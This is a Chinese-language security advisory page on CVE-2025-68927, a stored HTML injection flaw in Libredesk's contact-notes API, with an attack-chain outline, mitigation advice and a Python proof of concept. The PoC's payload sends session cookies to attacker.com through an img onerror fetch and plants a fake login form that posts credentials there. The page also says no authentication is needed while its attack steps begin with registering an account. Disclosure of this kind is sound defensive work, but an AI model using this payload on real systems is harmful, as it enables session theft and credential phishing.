IPBUF安全漏洞报告
English
CVE-2025-68927 CVSS 6.1 中危

CVE-2025-68927 Libredesk存储型HTML注入漏洞

披露日期: 2025-12-27

漏洞信息

漏洞编号
CVE-2025-68927
漏洞类型
存储型HTML注入/跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Libredesk (LibreDesk)

相关标签

存储型XSSHTML注入Libredesk客户支持系统CVE-2025-68927CVSS 6.1Web应用安全输入验证不足

漏洞概述

Libredesk是一款自托管的客户支持系统。在0.8.6-beta之前的版本中,存在严重的存储型HTML注入漏洞。该漏洞位于联系笔记功能模块,当用户通过POST /api/v1/contacts/{id}/notes接口添加笔记时,后端会自动将用户输入内容包装在<p>标签中。然而,攻击者可以通过拦截HTTP请求并移除<p>标签的方式,注入任意HTML元素如<form>、<img>等。这些恶意内容会被直接存储到数据库中,并在其他用户访问时未经适当清理直接渲染执行。此漏洞可被利用进行钓鱼攻击、CSRF风格的强制操作、UI伪装攻击等,严重威胁用户数据安全和系统完整性。攻击者无需认证即可利用此漏洞,但需要诱导受害者进行交互操作。

技术细节

漏洞根源在于Libredesk后端对用户输入的过滤机制存在缺陷。当用户提交笔记内容时,系统默认使用<p>标签包裹输入内容作为安全措施,但这种基于标签白名单的保护机制可通过拦截请求轻易绕过。攻击者使用Burp Suite等代理工具拦截POST请求,将自动生成的<p>标签删除或修改,然后注入包含<script>标签、<form>表单或<iframe>等HTML元素的恶意载荷。由于后端仅依赖前端生成的标签结构而未进行二次输入验证,且前端渲染时缺少严格的HTML净化处理,导致恶意代码被持久化存储并执行。成功利用此漏洞后,攻击者可窃取会话Cookie、伪造登录表单收集凭据、或诱导用户执行非预期的操作。

攻击链分析

STEP 1
步骤1
攻击者注册Libredesk账户并获取API访问权限
STEP 2
步骤2
攻击者通过代理工具(Burp Suite)拦截正常的笔记提交请求
STEP 3
步骤3
修改请求body内容,移除自动生成的<p>标签
STEP 4
步骤4
注入恶意HTML载荷(如钓鱼表单、恶意脚本、图片onerror事件等)
STEP 5
步骤5
发送修改后的请求,恶意内容被存储到数据库
STEP 6
步骤6
当其他用户查看该联系人的笔记时,恶意HTML被渲染执行
STEP 7
步骤7
攻击者窃取用户会话Cookie或诱导用户提交敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-68927 PoC - Stored HTML Injection in Libredesk # Target: Libredesk < 0.8.6-beta TARGET_URL = "http://target-server.com" CONTACT_ID = "1" # Target contact ID # Malicious payload - inject arbitrary HTML elements malicious_payload = """ <img src=x onerror='fetch("https://attacker.com/steal?cookie="+document.cookie)'> <form action="https://attacker.com/phish" method="POST"> <input type="text" name="username" placeholder="Session Expired - Please Re-login"> <input type="password" name="password"> <input type="submit" value="Login"> </form> """ # Exploit endpoint endpoint = f"{TARGET_URL}/api/v1/contacts/{CONTACT_ID}/notes" # Normal request (with <p> tags - sanitized) normal_data = { "content": f"<p>{malicious_payload}</p>" } # Malicious request (removing <p> tags - bypasses sanitization) exploit_data = { "content": malicious_payload # No <p> wrapper } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print("[*] Sending malicious request...") response = requests.post(endpoint, data=json.dumps(exploit_data), headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Payload successfully injected!") print(f"[+] Response: {response.text}") print("[*] The injected HTML will be rendered when the note is displayed.") else: print(f"[-] Request failed with status: {response.status_code}")

影响范围

Libredesk < 0.8.6-beta

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制用户创建笔记功能的权限,仅允许受信任的管理员使用;2)在Web应用前端部署WAF规则过滤<script>、<form>、<iframe>等危险HTML标签;3)对/api/v1/contacts/{id}/notes接口实施严格的输入长度限制和字符过滤;4)启用HTTPOnly和Secure标志保护Cookie;5)监控异常的大量笔记创建请求日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表